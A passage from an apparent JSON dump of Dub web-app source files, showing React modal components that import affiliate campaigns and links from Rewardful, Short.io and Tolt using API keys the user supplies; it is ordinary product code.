    "content": "import { setRewardfulTokenAction } from \"@/lib/actions/partners/set-rewardful-token\";\nimport { startRewardfulImportAction } from \"@/lib/actions/partners/start-rewardful-import\";\nimport { RewardfulCampaign } from \"@/lib/rewardful/types\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Check2,\n  LoadingSpinner,\n  Logo,\n  Magnifier,\n  Modal,\n  ScrollContainer,\n  ToggleGroup,\n  useMediaQuery,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter, fetcher } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { ArrowRight, ServerOff, Users } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams, useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { useDebounce } from \"use-debounce\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\nfunction ImportRewardfulModal({\n  showImportRewardfulModal,\n  setShowImportRewardfulModal,\n}: {\n  showImportRewardfulModal: boolean;\n  setShowImportRewardfulModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { program } = useProgram();\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n  const { id: workspaceId } = useWorkspace();\n  const [apiToken, setApiToken] = useState(\"\");\n  const { slug } = useParams() as { slug?: string };\n  const [step, setStep] = useState<\"token\" | \"campaigns\">(\"token\");\n\n  const [selectedCampaignIds, setSelectedCampaignIds] = useState<\n    string[] | null\n  >(null);\n\n  const {\n    executeAsync: setRewardfulToken,\n    isPending: isSettingRewardfulToken,\n  } = useAction(setRewardfulTokenAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n    onSuccess: () => {\n      setStep(\"campaigns\");\n      mutate();\n    },\n  });\n\n  const {\n    executeAsync: startRewardfulImport,\n    isPending: isStartingRewardfulImport,\n  } = useAction(startRewardfulImportAction, {\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n    onSuccess: () => {\n      toast.success(\n        `Successfully added your Rewardful campaigns to import queue! We will send you an email when your campaigns have been fully imported.`,\n      );\n      router.push(`/${slug}/program/partners`);\n    },\n  });\n\n  // TODO\n  // Replace this with new hook\n\n  const {\n    data: campaigns,\n    isLoading: isLoadingCampaigns,\n    mutate,\n  } = useSWRImmutable<RewardfulCampaign[]>(\n    showImportRewardfulModal &&\n      program?.id &&\n      workspaceId &&\n      step === \"campaigns\" &&\n      `/api/programs/rewardful/campaigns?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"rewardful\") {\n      setShowImportRewardfulModal(true);\n    } else {\n      setShowImportRewardfulModal(false);\n    }\n  }, [searchParams]);\n\n  // submit the api token to get the campaigns\n  const handleTokenSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId || !program?.id) {\n      return;\n    }\n\n    await setRewardfulToken({\n      workspaceId,\n      token: apiToken,\n    });\n  };\n\n  // submit the campaigns to import\n  const handleCampaignsSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId || !program?.id || !campaigns) {\n      return;\n    }\n\n    const campaignIdsToImport =\n      selectedCampaignIds || campaigns.map((c) => c.id);\n\n    if (!campaignIdsToImport.length) {\n      toast.error(\"Please select at least one campaign to import.\");\n      return;\n    }\n\n    await startRewardfulImport({\n      workspaceId,\n      campaignIds: campaignIdsToImport,\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showImportRewardfulModal}\n      setShowModal={setShowImportRewardfulModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-8\">\n        <div className=\"flex items-center space-x-3\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/rewardful.svg\"\n            alt=\"Rewardful logo\"\n            className=\"h-10 w-10 rounded-full\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <div className=\"flex flex-col items-center space-y-1\">\n          <h3 className=\"text-lg font-medium\">\n            Import your Rewardful campaigns\n          </h3>\n          <MarkdownDescription className=\"text-center text-sm text-neutral-500\">\n            [Migrate your existing Rewardful\n            campaigns](https://dub.co/help/article/migrating-from-rewardful),\n            partners, and historical stats into Dub in just a few clicks.\n          </MarkdownDescription>\n        </div>\n\n        {/* Steps indicator */}\n        <div className=\"flex items-center space-x-2 pt-2\">\n          <div\n            className={`flex h-6 w-6 items-center justify-center rounded-full text-xs font-medium ${\n              step === \"token\"\n                ? \"bg-neutral-900 text-white\"\n                : \"bg-green-100 text-green-600\"\n            }`}\n          >\n            {step === \"campaigns\" ? \"✓\" : \"1\"}\n          </div>\n          <div\n            className={`h-px w-8 ${step === \"campaigns\" ? \"bg-green-200\" : \"bg-neutral-200\"}`}\n          />\n          <div\n            className={`flex h-6 w-6 items-center justify-center rounded-full text-xs font-medium ${\n              step === \"campaigns\"\n                ? \"bg-neutral-900 text-white\"\n                : \"bg-neutral-100 text-neutral-400\"\n            }`}\n          >\n            2\n          </div>\n        </div>\n\n        <div className=\"flex items-center space-x-2 text-xs text-neutral-500\">\n          <span\n            className={step === \"token\" ? \"font-medium text-neutral-900\" : \"\"}\n          >\n            API Token\n          </span>\n          <span>•</span>\n          <span\n            className={\n              step === \"campaigns\" ? \"font-medium text-neutral-900\" : \"\"\n            }\n          >\n            Select Campaigns\n          </span>\n        </div>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-8\">\n        {step === \"token\" ? (\n          <TokenStep\n            apiToken={apiToken}\n            setApiToken={setApiToken}\n            isSubmittingToken={isSettingRewardfulToken}\n            onSubmit={handleTokenSubmit}\n          />\n        ) : isLoadingCampaigns || !workspaceId ? (\n          <div className=\"flex flex-col items-center justify-center space-y-4 bg-none\">\n            <LoadingSpinner />\n            <p className=\"text-sm text-neutral-500\">Loading campaigns...</p>\n          </div>\n        ) : campaigns ? (\n          <CampaignsStep\n            campaigns={campaigns}\n            selectedCampaignIds={selectedCampaignIds}\n            setSelectedCampaignIds={setSelectedCampaignIds}\n            importing={isStartingRewardfulImport}\n            onSubmit={handleCampaignsSubmit}\n          />\n        ) : (\n          <div className=\"flex flex-col items-center justify-center gap-2 pb-2\">\n            <ServerOff className=\"h-6 w-6 text-neutral-500\" />\n            <p className=\"text-center text-sm text-neutral-500\">\n              Failed to load campaigns. Please try again.\n            </p>\n          </div>\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nfunction TokenStep({\n  apiToken,\n  setApiToken,\n  isSubmittingToken,\n  onSubmit,\n}: {\n  apiToken: string;\n  setApiToken: (token: string) => void;\n  isSubmittingToken: boolean;\n  onSubmit: (e: React.FormEvent) => Promise<void>;\n}) {\n  const { isMobile } = useMediaQuery();\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-4\">\n      <div className=\"space-y-2\">\n        <label\n          htmlFor=\"apiToken\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          Rewardful API Secret\n        </label>\n        <input\n          type=\"password\"\n          id=\"apiToken\"\n          value={apiToken}\n          autoFocus={!isMobile}\n          onChange={(e) => setApiToken(e.target.value)}\n          placeholder=\"Enter your Rewardful API secret\"\n          className=\"block w-full rounded-md border border-neutral-300 px-3 py-2 text-sm placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-1 focus:ring-neutral-500\"\n          required\n        />\n        <p className=\"text-xs text-neutral-500\">\n          You can find this in your{\" \"}\n          <a\n            href=\"https://app.getrewardful.com/company/edit\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-neutral-700 underline hover:text-neutral-900\"\n          >\n            Company settings page\n          </a>\n        </p>\n      </div>\n      <div className=\"flex justify-end space-x-2 pt-2\">\n        <Button\n          text={isSubmittingToken ? \"Fetching campaigns...\" : \"Continue\"}\n          loading={isSubmittingToken}\n          disabled={!apiToken}\n        />\n      </div>\n    </form>\n  );\n}\n\nfunction CampaignsStep({\n  campaigns,\n  selectedCampaignIds,\n  setSelectedCampaignIds,\n  importing,\n  onSubmit,\n}: {\n  campaigns: RewardfulCampaign[];\n  selectedCampaignIds: string[] | null;\n  setSelectedCampaignIds: (campaignIds: string[] | null) => void;\n  importing: boolean;\n  onSubmit: (e: React.FormEvent) => Promise<void>;\n}) {\n  const [selectedMode, setSelectedMode] = useState<\"all\" | \"select\">(\n    selectedCampaignIds?.length ? \"select\" : \"all\",\n  );\n\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const [sortedCampaigns, setSortedCampaigns] = useState<\n    RewardfulCampaign[] | undefined\n  >(undefined);\n\n  const formatCommission = useCallback((campaign: RewardfulCampaign) => {\n    return campaign.reward_type === \"percent\"\n      ? `${campaign.commission_percent}%`\n      : `${currencyFormatter(campaign.commission_amount_cents)}`;\n  }, []);\n\n  const sortCampaigns = useCallback(\n    (campaigns: RewardfulCampaign[], search: string) => {\n      let filtered = campaigns;\n\n      if (search) {\n        filtered = campaigns.filter((campaign) =>\n          campaign.name.toLowerCase().includes(search.toLowerCase()),\n        );\n      }\n\n      return search === \"\"\n        ? [\n            ...filtered.filter((c) => selectedCampaignIds?.includes(c.id)),\n            ...filtered.filter((c) => !selectedCampaignIds?.includes(c.id)),\n          ]\n        : filtered;\n    },\n    [selectedCampaignIds],\n  );\n\n  // Sort campaigns when search or selection changes\n  useEffect(() => {\n    setSortedCampaigns(sortCampaigns(campaigns, debouncedSearch));\n  }, [campaigns, debouncedSearch, sortCampaigns]);\n\n  const selectedCampaigns = useMemo(\n    () => campaigns.filter((c) => selectedCampaignIds?.includes(c.id)),\n    [campaigns, selectedCampaignIds],\n  );\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-6\">\n      <div className=\"space-y-3\">\n        <label className=\"block text-sm font-medium text-neutral-700\">\n          Choose campaigns to import\n        </label>\n\n        <div className=\"space-y-2\">\n          <ToggleGroup\n            className=\"flex w-full items-center gap-1 rounded-lg border-none bg-neutral-100 p-1\"\n            optionClassName=\"h-8 flex items-center justify-center flex-1 text-sm normal-case\"\n            indicatorClassName=\"bg-white\"\n            options={[\n              { value: \"all\", label: \"All campaigns\" },\n              { value: \"select\", label: \"Select campaigns\" },\n            ]}\n            selected={selectedMode}\n            selectAction={(value) => {\n              setSelectedMode(value as \"all\" | \"select\");\n              if (value === \"all\") setSelectedCampaignIds(null);\n            }}\n          />\n\n          <AnimatedSizeContainer\n            height\n            transition={{ ease: \"easeInOut\", duration: 0.1 }}\n            className=\"-m-0.5\"\n          >\n            <div className=\"p-0.5\">\n              {selectedMode === \"all\" ? (\n                <div className=\"flex flex-col items-center justify-center rounded-lg border border-neutral-200 bg-white px-4 py-6\">\n                  <div className=\"text-content-default flex items-center gap-1.5 font-semibold\">\n                    <Users className=\"size-4 shrink-0\" />\n                    {campaigns.length}\n                  </div>\n                  <span className=\"text-content-subtle text-sm font-medium\">\n                    Campaigns selected\n                  </span>\n                </div>\n              ) : (\n                <div className=\"overflow-hidden rounded-lg border border-neutral-200 bg-white\">\n                  <Command loop shouldFilter={false}>\n                    <label className=\"relative flex grow items-center overflow-hidden border-b border-neutral-200\">\n                      <Magnifier className=\"text-content-default ml-3 size-3.5 shrink-0\" />\n                      <Command.Input\n                        placeholder=\"Search campaigns...\"\n                        value={search}\n                        onValueChange={setSearch}\n                        className=\"grow border-none px-2 py-3 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                      />\n                    </label>\n                    <ScrollContainer className=\"h-[190px]\">\n                      <Command.List\n                        className={cn(\"flex w-full flex-col gap-1 p-1\")}\n                      >\n                        {sortedCampaigns !== undefined ? (\n                          <>\n                            {sortedCampaigns.map((campaign) => {\n                              const checked = Boolean(\n                                selectedCampaignIds?.includes(campaign.id),\n                              );\n\n                              return (\n                                <Command.Item\n                                  key={campaign.id}\n                                  value={campaign.name}\n                                  onSelect={() =>\n                                    setSelectedCampaignIds(\n                                      selectedCampaignIds?.includes(campaign.id)\n                                        ? selectedCampaignIds.length === 1\n                                          ? null // Revert to null if there will be no campaigns selected\n                                          : selectedCampaignIds.filter(\n                                              (id) => id !== campaign.id,\n                                            )\n                                        : [\n                                            ...(selectedCampaignIds ?? []),\n                                            campaign.id,\n                                          ],\n                                    )\n                                  }\n                                  className={cn(\n                                    \"flex cursor-pointer select-none items-start gap-3 whitespace-nowrap rounded-md px-3 py-2.5 text-left text-sm text-neutral-700\",\n                                    \"data-[selected=true]:bg-neutral-100\",\n                                  )}\n                                >\n                                  <div\n                                    className={cn(\n                                      \"border-border-emphasis mt-0.5 flex size-4 shrink-0 items-center justify-center rounded border bg-white transition-colors duration-75\",\n                                      checked &&\n                                        \"border-neutral-900 bg-neutral-900\",\n                                    )}\n                                  >\n                                    {checked && (\n                                      <span className=\"sr-only\">Checked</span>\n                                    )}\n                                    <Check2\n                                      className={cn(\n                                        \"size-2.5 text-white transition-[transform,opacity] duration-75\",\n                                        !checked && \"scale-75 opacity-0\",\n                                      )}\n                                    />\n                                  </div>\n                                  <div className=\"flex min-w-0 flex-1 flex-col gap-1\">\n                                    <span className=\"min-w-0 truncate font-medium\">\n                                      {campaign.name}\n                                    </span>\n                                    <div className=\"flex items-center gap-4 text-xs text-neutral-500\">\n                                      <span>\n                                        {campaign.affiliates} affiliates\n                                      </span>\n                                      <span>\n                                        {formatCommission(campaign)} commission\n                                      </span>\n                                      <span>\n                                        {campaign.max_commission_period_months\n                                          ? `${campaign.max_commission_period_months} months`\n                                          : \"Lifetime\"}\n                                      </span>\n                                    </div>\n                                  </div>\n                                </Command.Item>\n                              );\n                            })}\n                            {sortedCampaigns.length === 0 ? (\n                              <div className=\"flex min-h-12 items-center justify-center text-sm text-neutral-500\">\n                                No matches\n                              </div>\n                            ) : null}\n                          </>\n                        ) : (\n                          // undefined data / explicit loading state\n                          <Command.Loading>\n                            <div className=\"flex h-12 items-center justify-center\">\n                              <LoadingSpinner />\n                            </div>\n                          </Command.Loading>\n                        )}\n                      </Command.List>\n                    </ScrollContainer>\n                  </Command>\n                </div>\n              )}\n            </div>\n          </AnimatedSizeContainer>\n        </div>\n      </div>\n\n      <div className=\"flex justify-end space-x-2 pt-2\">\n        <Button\n          text={\n            selectedMode === \"all\"\n              ? `Import all campaigns (${campaigns.length})`\n              : selectedCampaignIds?.length\n                ? `Import ${selectedCampaignIds.length} campaign${selectedCampaignIds.length === 1 ? \"\" : \"s\"}`\n                : \"Import campaigns\"\n          }\n          loading={importing}\n          disabled={selectedMode === \"select\" && !selectedCampaignIds?.length}\n        />\n      </div>\n    </form>\n  );\n}\n\nexport function useImportRewardfulModal() {\n  const [showImportRewardfulModal, setShowImportRewardfulModal] =\n    useState(false);\n\n  const ImportRewardfulModalCallback = useCallback(() => {\n    return (\n      <ImportRewardfulModal\n        showImportRewardfulModal={showImportRewardfulModal}\n        setShowImportRewardfulModal={setShowImportRewardfulModal}\n      />\n    );\n  }, [showImportRewardfulModal, setShowImportRewardfulModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportRewardfulModal,\n      ImportRewardfulModal: ImportRewardfulModalCallback,\n    }),\n    [setShowImportRewardfulModal, ImportRewardfulModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-short-modal.tsx",
    "content": "import useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ImportedDomainCountProps } from \"@/lib/types\";\nimport {\n  Button,\n  InfoTooltip,\n  LoadingSpinner,\n  Logo,\n  Modal,\n  Switch,\n  buttonVariants,\n  useMediaQuery,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, fetcher, nFormatter } from \"@dub/utils\";\nimport { ArrowRight, ServerOff } from \"lucide-react\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWRImmutable from \"swr/immutable\";\n\nfunction ImportShortModal({\n  showImportShortModal,\n  setShowImportShortModal,\n}: {\n  showImportShortModal: boolean;\n  setShowImportShortModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const router = useRouter();\n  const { id: workspaceId, slug } = useWorkspace();\n  const searchParams = useSearchParams();\n\n  const { folderId } = useCurrentFolderId();\n\n  const {\n    data: domains,\n    isLoading,\n    mutate,\n  } = useSWRImmutable<ImportedDomainCountProps[]>(\n    workspaceId &&\n      showImportShortModal &&\n      `/api/workspaces/${workspaceId}/import/short`,\n    fetcher,\n    {\n      onError: (err) => {\n        if (err.message !== \"No Short.io access token found\") {\n          toast.error(err.message);\n        }\n      },\n    },\n  );\n\n  const [submitting, setSubmitting] = useState(false);\n\n  const [selectedDomains, setSelectedDomains] = useState<\n    ImportedDomainCountProps[]\n  >([]);\n\n  const [importTags, setImportTags] = useState<boolean>(false);\n  const [importing, setImporting] = useState(false);\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"short\") {\n      mutate();\n      setShowImportShortModal(true);\n    } else {\n      setShowImportShortModal(false);\n    }\n  }, [searchParams]);\n\n  const isSelected = (domain: string) => {\n    return selectedDomains.find((d) => d.domain === domain) ? true : false;\n  };\n\n  const { queryParams } = useRouterStuff();\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <Modal\n      showModal={showImportShortModal}\n      setShowModal={setShowImportShortModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/short.svg\"\n            alt=\"Short.io logo\"\n            className=\"h-10 w-10\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">Import Your Short.io Links</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Easily import all your existing Short.io links into{\" \"}\n          {process.env.NEXT_PUBLIC_APP_NAME} with just a few clicks.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        {isLoading || !workspaceId ? (\n          <div className=\"flex flex-col items-center justify-center space-y-4 bg-none\">\n            <LoadingSpinner />\n            <p className=\"text-sm text-neutral-500\">Connecting to Short.io</p>\n          </div>\n        ) : domains ? (\n          domains.length > 0 ? (\n            <form\n              onSubmit={async (e) => {\n                e.preventDefault();\n                setImporting(true);\n                toast.promise(\n                  fetch(`/api/workspaces/${workspaceId}/import/short`, {\n                    method: \"POST\",\n                    headers: {\n                      \"Content-Type\": \"application/json\",\n                    },\n                    body: JSON.stringify({\n                      selectedDomains,\n                      importTags,\n                      ...(folderId && { folderId }),\n                    }),\n                  }).then(async (res) => {\n                    if (res.ok) {\n                      await mutate();\n                      router.push(\n                        `/${slug}/links${folderId ? `?folderId=${folderId}` : \"\"}`,\n                      );\n                    } else {\n                      setImporting(false);\n                      throw new Error();\n                    }\n                  }),\n                  {\n                    loading: \"Adding links to import queue...\",\n                    success:\n                      \"Successfully added links to import queue! You can now safely navigate from this tab – we will send you an email when your links have been fully imported.\",\n                    error: \"Error adding links to import queue\",\n                  },\n                );\n              }}\n              className=\"flex flex-col space-y-4\"\n            >\n              <div className=\"flex flex-col space-y-2\">\n                <p className=\"text-sm font-medium text-neutral-700\">Domains</p>\n                {domains.map(({ id, domain, links }) => (\n                  <div className=\"flex items-center justify-between space-x-2 rounded-md border border-neutral-200 bg-white px-4 py-2\">\n                    <div>\n                      <p className=\"font-medium text-neutral-800\">{domain}</p>\n                      {links > 0 && (\n                        <p className=\"text-xs text-neutral-500\">\n                          {nFormatter(links)} links found\n                        </p>\n                      )}\n                    </div>\n                    <Switch\n                      fn={() => {\n                        const selected = isSelected(domain);\n                        if (selected) {\n                          setSelectedDomains((prev) =>\n                            prev.filter((d) => d.domain !== domain),\n                          );\n                        } else {\n                          setSelectedDomains((prev) => [\n                            ...prev,\n                            {\n                              id,\n                              domain,\n                              links,\n                            },\n                          ]);\n                        }\n                      }}\n                      checked={isSelected(domain)}\n                    />\n                  </div>\n                ))}\n                <div className=\"flex items-center justify-between space-x-2 rounded-md py-1 pl-2 pr-4\">\n                  <p className=\"text-xs text-neutral-500\">Import all tags?</p>\n                  <Switch\n                    fn={() => setImportTags(!importTags)}\n                    checked={importTags}\n                  />\n                </div>\n              </div>\n              <Button\n                text=\"Confirm import\"\n                loading={importing}\n                disabled={selectedDomains.length === 0}\n              />\n            </form>\n          ) : (\n            <div className=\"flex flex-col items-center justify-center gap-2\">\n              <ServerOff className=\"h-6 w-6 text-neutral-500\" />\n              <p className=\"max-w-md text-center text-sm text-neutral-500\">\n                Unfortunately, Short.io has been blocking our servers in\n                production. Please reach out to support and we'll help you\n                import your links.\n              </p>\n              <a\n                href=\"https://dub.co/support\"\n                className={cn(\n                  buttonVariants({ variant: \"secondary\" }),\n                  \"flex h-8 items-center justify-center rounded-md border px-4 text-sm\",\n                )}\n              >\n                Contact Support\n              </a>\n            </div>\n          )\n        ) : (\n          // form to add API key to redis manually\n          <form\n            onSubmit={async (e) => {\n              e.preventDefault();\n              setSubmitting(true);\n              fetch(`/api/workspaces/${workspaceId}/import/short`, {\n                method: \"PUT\",\n                headers: {\n                  \"Content-Type\": \"application/json\",\n                },\n                body: JSON.stringify({\n                  apiKey: e.currentTarget.apiKey.value,\n                }),\n              }).then(async (res) => {\n                if (res.ok) {\n                  await mutate();\n                  toast.success(\"Successfully added API key\");\n                } else {\n                  toast.error(\"Error adding API key\");\n                }\n                setSubmitting(false);\n              });\n            }}\n            className=\"flex flex-col space-y-4\"\n          >\n            <div>\n              <div className=\"flex items-center space-x-2\">\n                <h2 className=\"text-sm font-medium text-neutral-900\">\n                  Short.io API Key\n                </h2>\n                <InfoTooltip\n                  content={`Your Short.io API Key can be found in your Short.io account under \"Integrations & API\". [Read the guide.](https://dub.co/help/article/migrating-from-short)`}\n                />\n              </div>\n              <input\n                id=\"apiKey\"\n                name=\"apiKey\"\n                autoFocus={!isMobile}\n                type=\"text\"\n                placeholder=\"sk_xxxxxxxxxxxxxxxx\"\n                autoComplete=\"off\"\n                required\n                className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n              />\n            </div>\n            <Button text=\"Confirm API Key\" loading={submitting} />\n          </form>\n        )}\n      </div>\n    </Modal>\n  );\n}\n\nexport function useImportShortModal() {\n  const [showImportShortModal, setShowImportShortModal] = useState(false);\n\n  const ImportShortModalCallback = useCallback(() => {\n    return (\n      <ImportShortModal\n        showImportShortModal={showImportShortModal}\n        setShowImportShortModal={setShowImportShortModal}\n      />\n    );\n  }, [showImportShortModal, setShowImportShortModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportShortModal,\n      ImportShortModal: ImportShortModalCallback,\n    }),\n    [setShowImportShortModal, ImportShortModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/import-tolt-modal.tsx",
    "content": "import { setToltTokenAction } from \"@/lib/actions/partners/set-tolt-token\";\nimport { startToltImportAction } from \"@/lib/actions/partners/start-tolt-import\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ToltProgram } from \"@/lib/tolt/types\";\nimport { Button, Logo, Modal, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { ArrowRight } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\ntype Step = \"set-token\" | \"program-info\";\n\nfunction ImportToltModal({\n  showImportToltModal,\n  setShowImportToltModal,\n}: {\n  showImportToltModal: boolean;\n  setShowImportToltModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n  const [step, setStep] = useState<Step>(\"set-token\");\n  const [toltProgram, setToltProgram] = useState<ToltProgram | null>(null);\n\n  useEffect(() => {\n    if (searchParams?.get(\"import\") === \"tolt\") {\n      setShowImportToltModal(true);\n    } else {\n      setShowImportToltModal(false);\n    }\n  }, [searchParams]);\n\n  return (\n    <Modal\n      showModal={showImportToltModal}\n      setShowModal={setShowImportToltModal}\n      onClose={() =>\n        queryParams({\n          del: \"import\",\n        })\n      }\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"flex items-center space-x-3 py-4\">\n          <img\n            src=\"https://assets.dub.co/misc/icons/tolt.svg\"\n            alt=\"Tolt logo\"\n            className=\"h-10 w-10 rounded-full\"\n          />\n          <ArrowRight className=\"h-5 w-5 text-neutral-600\" />\n          <Logo />\n        </div>\n        <h3 className=\"text-lg font-medium\">Import your Tolt program</h3>\n        <MarkdownDescription className=\"text-center text-sm text-neutral-500\">\n          [Migrate your existing Tolt\n          program](https://dub.co/help/article/migrating-from-tolt), partners,\n          and historical stats into Dub in just a few clicks.\n        </MarkdownDescription>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <AnimatePresence mode=\"wait\">\n          {step === \"set-token\" ? (\n            <motion.div\n              key=\"token-form\"\n              initial={{ opacity: 0, x: 20 }}\n              animate={{ opacity: 1, x: 0 }}\n              exit={{ opacity: 0, x: -20 }}\n              transition={{ duration: 0.2, ease: \"easeInOut\" }}\n            >\n              <TokenForm setStep={setStep} setToltProgram={setToltProgram} />\n            </motion.div>\n          ) : (\n            <motion.div\n              key=\"program-info\"\n              initial={{ opacity: 0, x: 20 }}\n              animate={{ opacity: 1, x: 0 }}\n              exit={{ opacity: 0, x: -20 }}\n              transition={{ duration: 0.2, ease: \"easeInOut\" }}\n            >\n              <ProgramInfo\n                toltProgram={toltProgram!}\n                onClose={() => {\n                  setShowImportToltModal(false);\n                  queryParams({\n                    del: \"import\",\n                  });\n                }}\n              />\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </div>\n    </Modal>\n  );\n}\n\nfunction TokenForm({\n  setStep,\n  setToltProgram,\n}: {\n  setStep: Dispatch<SetStateAction<Step>>;\n  setToltProgram: Dispatch<SetStateAction<ToltProgram | null>>;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId } = useWorkspace();\n\n  const [token, setToken] = useState(\"\");\n  const [toltProgramId, setToltProgramId] = useState(\"\");\n\n  const { executeAsync, isPending } = useAction(setToltTokenAction, {\n    onSuccess: ({ data }) => {\n      if (data?.program) {\n        setToltProgram(data.program);\n        setStep(\"program-info\");\n      }\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId || !token || !toltProgramId) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      toltProgramId,\n      token,\n    });\n  };\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-4\">\n      <div>\n        <label\n          htmlFor=\"token\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          Tolt API Key\n        </label>\n        <input\n          type=\"password\"\n          id=\"token\"\n          value={token}\n          autoFocus={!isMobile}\n          onChange={(e) => setToken(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n        <p className=\"mt-1.5 text-xs text-neutral-500\">\n          You can find your Tolt API key on your{\" \"}\n          <a\n            href=\"https://app.tolt.io/settings?tab=integrations\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-blue-500 hover:text-blue-600\"\n          >\n            Integrations tab\n          </a>\n        </p>\n      </div>\n\n      <div>\n        <label\n          htmlFor=\"programId\"\n          className=\"block text-sm font-medium text-neutral-700\"\n        >\n          Tolt Program ID\n        </label>\n        <input\n          type=\"text\"\n          id=\"programId\"\n          value={toltProgramId}\n          onChange={(e) => setToltProgramId(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border border-neutral-200 px-3 py-2 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n          required\n        />\n        <p className=\"mt-1.5 text-xs text-neutral-500\">\n          You can find your program ID in your{\" \"}\n          <a\n            href=\"https://app.tolt.io/program-settings?page=general-settings\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"text-blue-500 hover:text-blue-600\"\n          >\n            General settings tab\n          </a>\n        </p>\n      </div>\n\n      <Button\n        text={isPending ? \"Fetching program...\" : \"Fetch program\"}\n        loading={isPending}\n        disabled={!token || !toltProgramId}\n      />\n    </form>\n  );\n}\n\nfunction ProgramInfo({\n  toltProgram,\n  onClose,\n}: {\n  toltProgram: ToltProgram;\n  onClose: 